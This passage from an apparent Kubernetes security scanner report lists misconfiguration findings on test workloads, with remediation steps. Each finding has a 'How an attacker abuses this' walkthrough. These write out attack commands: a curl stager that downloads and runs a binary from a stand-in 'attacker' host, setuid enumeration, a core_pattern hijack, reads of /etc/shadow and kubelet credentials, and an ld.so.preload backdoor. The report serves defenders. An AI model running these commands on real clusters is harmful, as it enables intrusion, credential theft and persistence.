  "container": "app"
}
HIGH Pod/foothold-exec/foothold-decoy Workload 7.8
Container app allows privilege escalation in Pod/foothold-exec/foothold-decoy
Scope · Workload Workload Pod/foothold-exec/foothold-decoy
Category: Privilege Escalation Resource: Pod/foothold-exec/foothold-decoy Namespace: foothold-exec

Container app in Pod/foothold-exec/foothold-decoy either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourcePod

A Pod wraps one or more containers that share an IP, hostname, and volumes. From an attacker's perspective, a pod is a foothold: the API token mounted into it grants the pod's ServiceAccount permissions; if the pod is privileged or mounts the host filesystem, it's also a path to escape onto the node.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n foothold-exec -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Pod/foothold-exec/foothold-target Workload 7.8
Container app allows privilege escalation in Pod/foothold-exec/foothold-target
Scope · Workload Workload Pod/foothold-exec/foothold-target
Category: Privilege Escalation Resource: Pod/foothold-exec/foothold-target Namespace: foothold-exec

Container app in Pod/foothold-exec/foothold-target either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourcePod

A Pod wraps one or more containers that share an IP, hostname, and volumes. From an attacker's perspective, a pod is a foothold: the API token mounted into it grants the pod's ServiceAccount permissions; if the pod is privileged or mounts the host filesystem, it's also a path to escape onto the node.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n foothold-exec -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Job/gw-workloads/gw-batch Workload 7.8
Container batch allows privilege escalation in Job/gw-workloads/gw-batch
Scope · Workload Workload Job/gw-workloads/gw-batch
Category: Privilege Escalation Resource: Job/gw-workloads/gw-batch Namespace: gw-workloads

Container batch in Job/gw-workloads/gw-batch either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceJob

A Job executes one or more pods that must complete successfully. Jobs are a common attacker mechanism for one-shot privilege use ("create a Job that mounts the host filesystem, do the thing, exit").

  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n gw-workloads -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerbatch
Show raw JSON
{
  "container": "batch"
}
HIGH Deployment/local-path-storage/local-path-provisioner Workload 7.8
Container local-path-provisioner allows privilege escalation in Deployment/local-path-storage/local-path-provisioner
Scope · Workload Workload Deployment/local-path-storage/local-path-provisioner
Category: Privilege Escalation Resource: Deployment/local-path-storage/local-path-provisioner Namespace: local-path-storage

Container local-path-provisioner in Deployment/local-path-storage/local-path-provisioner either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n local-path-storage -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerlocal-path-provisioner
Show raw JSON
{
  "container": "local-path-provisioner"
}
HIGH Deployment/secrets-bundle/cross-ns-consumer Workload 7.8
Container pause allows privilege escalation in Deployment/secrets-bundle/cross-ns-consumer
Scope · Workload Workload Deployment/secrets-bundle/cross-ns-consumer
Category: Privilege Escalation Resource: Deployment/secrets-bundle/cross-ns-consumer Namespace: secrets-bundle

Container pause in Deployment/secrets-bundle/cross-ns-consumer either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n secrets-bundle -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerpause
Show raw JSON
{
  "container": "pause"
}
HIGH

HostPath mount /tmp/data in Deployment/vulnerable/generic-hostpath-app

KUBE-HOSTPATH-001 1 subject Score 7.6
MITRE ATT&CK: T1611T1552.001T1083

Affected subject

HIGH Deployment/vulnerable/generic-hostpath-app Workload 7.6
HostPath mount /tmp/data in Deployment/vulnerable/generic-hostpath-app
Scope · Workload Workload Deployment/vulnerable/generic-hostpath-app
Category: Privilege Escalation Resource: Deployment/vulnerable/generic-hostpath-app Namespace: vulnerable

Workload Deployment/vulnerable/generic-hostpath-app mounts host path /tmp/data via volume tmp-data. Generic hostPath usage breaks the container abstraction: the pod is now coupled to a specific node's filesystem layout, bypasses CSI quota/encryption/snapshotting, and creates a path-dependent attack surface that varies with the path mounted.

Even "benign" paths can be dangerous. /proc exposes the host's process tree (modify /proc/sys/kernel/core_pattern for root via crash). /sys lets a writable mount enable cgroup-release-agent escapes (CVE-2022-0492). /dev shared with the host gives raw block-device access. /etc/kubernetes contains kubelet config and PKI on control-plane nodes.

Even a mount of /etc (read-only) leaks /etc/shadow, ssh host_keys, kubeadm config, and CNI tokens. Kubernetes Pod Security Standards forbid hostPath at Baseline because there is no safe whitelist.

Impact Variable but always elevated risk: at minimum exposes node-specific files; commonly leaks credentials or enables privilege escalation depending on the path.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Identify the mounted path via mount or cat /proc/mounts from inside the pod.
  2. Enumerate sensitive contents. For /etc: cat /etc/shadow, /etc/kubernetes/admin.conf. For /proc: echo '|/tmp/x' > /proc/sys/kernel/core_pattern then trigger a crash.
  3. If writable, drop a payload, modify a config, or symlink-swap.
  4. Confirm impact with kdigger dig mount or deepce.sh -e.
  5. Persist via the path's owning daemon (cron under /etc, systemd unit under /lib/systemd, etc.).
Remediation
Replace hostPath with a managed alternative (CSI volume, ConfigMap, Secret, projected volume, or local PV).
  1. Determine why hostPath is used: config injection, log scraping, GPU device access. Each has a Kubernetes-native replacement.
  2. If hostPath is unavoidable, narrow path: to the smallest possible directory, set type: to the strictest matching value, and add readOnly: true on the volumeMount.
  3. Pair with runAsNonRoot: true, drop ALL capabilities, and allowPrivilegeEscalation: false.
  4. Enforce via PSA baseline (denies hostPath) or a Kyverno/Gatekeeper allowlist. Validate: kubectl get deployment/generic-hostpath-app -o yaml | grep -A3 hostPath.
Evidence
Volumetmp-data
Host path/tmp/data
Node root filesystem (full host takeover)
Show raw JSON
{
  "path": "/tmp/data",
  "volume": "tmp-data"
}
MEDIUM

Container app runs as root (UID 0) in Deployment/vulnerable/root-runner

KUBE-PODSEC-ROOT-001 1 subject Score 6.0
MITRE ATT&CK: T1611T1068T1548.001

Affected subject

MEDIUM Deployment/vulnerable/root-runner Workload 6.0
Container app runs as root (UID 0) in Deployment/vulnerable/root-runner
Scope · Workload Workload Deployment/vulnerable/root-runner
Category: Privilege Escalation Resource: Deployment/vulnerable/root-runner Namespace: vulnerable

Container app in Deployment/vulnerable/root-runner runs as UID 0, either via an explicit runAsUser: 0, an explicit runAsNonRoot: false, or by relying on the image's default user (which for most public images is root). Container UID 0 is mapped to host UID 0 by default (Linux user namespaces are still off-by-default in Kubernetes), so any kernel exploit, capability misuse, or volume-write vulnerability lands with full root privileges.

Running as root erodes every layer of in-container defense. A read-only root filesystem can be remounted (mount -o remount,rw) if CAP_SYS_ADMIN is held; a kernel CVE that requires root credentials in user-space (the runC "Leaky Vessels" CVE-2024-21626 class, the cgroup-release-agent CVE-2022-0492 class) becomes trivially exploitable; and bind-mounted directories owned by host root become writable.

The Pod Security Standards Restricted profile requires runAsNonRoot: true AND a runAsUser ≥ 1.

Impact All other in-pod hardening (read-only root, capability drops, seccomp) becomes one CVE away from full host compromise; container-CVE exploit reliability rises dramatically.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as root inside the container.
  2. Read all bind-mounted host files writable to root, including ConfigMaps and Secrets.
  3. Attempt a capability-bearing kernel exploit. For example, trigger CVE-2024-21626 (Leaky Vessels) by spawning a child with WORKDIR=/proc/self/fd/8 semantics.
  4. With CAP_SYS_ADMIN remount the root filesystem read-write and modify init scripts.
  5. Persist via dropped binaries in /usr/local/bin whose mounts may survive container restart.
Remediation
Run as a non-root UID (runAsUser: 10001, runAsNonRoot: true) and bake a non-root USER into the image.
  1. In the Dockerfile, add RUN groupadd -g 10001 app && useradd -u 10001 -g app -s /usr/sbin/nologin app and USER 10001. Verify the binary works (file permissions, port binding < 1024 needs NET_BIND_SERVICE).
  2. In the PodSpec, set securityContext.runAsNonRoot: true, runAsUser: 10001, runAsGroup: 10001, fsGroup: 10001.
  3. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], readOnlyRootFilesystem: true, seccompProfile.type: RuntimeDefault.
  4. Validate: kubectl exec <pod> -- id returns uid=10001; kubectl get deployment/root-runner -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.runAsUser}' returns 10001.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM

Container api has a writable root filesystem in Deployment/flat-network/api

KUBE-PODSEC-READONLY-001 36 subjects Score 5.5
MITRE ATT&CK: T1611T1554T1543

Affected subjects (36)

MEDIUM Deployment/flat-network/api Workload 5.5
Container api has a writable root filesystem in Deployment/flat-network/api
Scope · Workload Workload Deployment/flat-network/api
Category: Privilege Escalation Resource: Deployment/flat-network/api Namespace: flat-network

Container api in Deployment/flat-network/api either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/api -n flat-network -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapi
Show raw JSON
{
  "container": "api"
}
MEDIUM DaemonSet/rbac-fixtures/daemon-app Workload 5.5
Container app has a writable root filesystem in DaemonSet/rbac-fixtures/daemon-app
Scope · Workload Workload DaemonSet/rbac-fixtures/daemon-app, runs on every node (per-node blast radius)
Category: Privilege Escalation Resource: DaemonSet/rbac-fixtures/daemon-app Namespace: rbac-fixtures

Container app in DaemonSet/rbac-fixtures/daemon-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDaemonSet

A DaemonSet schedules one pod per node, typically for cluster infrastructure (CNI, log shipping, node monitoring). DaemonSets are frequent targets because they often need hostNetwork, hostPath, or privileged to do their job, which makes them ideal for attackers if compromised.

  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get daemonset/daemon-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/cloud-eks-test/imds-pivot-app Workload 5.5
Container app has a writable root filesystem in Deployment/cloud-eks-test/imds-pivot-app
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app
Category: Privilege Escalation Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/imds-pivot-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/imds-pivot-app -n cloud-eks-test -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/cloud-eks-test/irsa-admin-app Workload 5.5
Container app has a writable root filesystem in Deployment/cloud-eks-test/irsa-admin-app
Scope · Workload Workload Deployment/cloud-eks-test/irsa-admin-app
Category: Privilege Escalation Resource: Deployment/cloud-eks-test/irsa-admin-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/irsa-admin-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/irsa-admin-app -n cloud-eks-test -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/containersec-fixtures/containersec-image Workload 5.5
Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-image
Scope · Workload Workload Deployment/containersec-fixtures/containersec-image
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-image Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-image either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/containersec-image -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
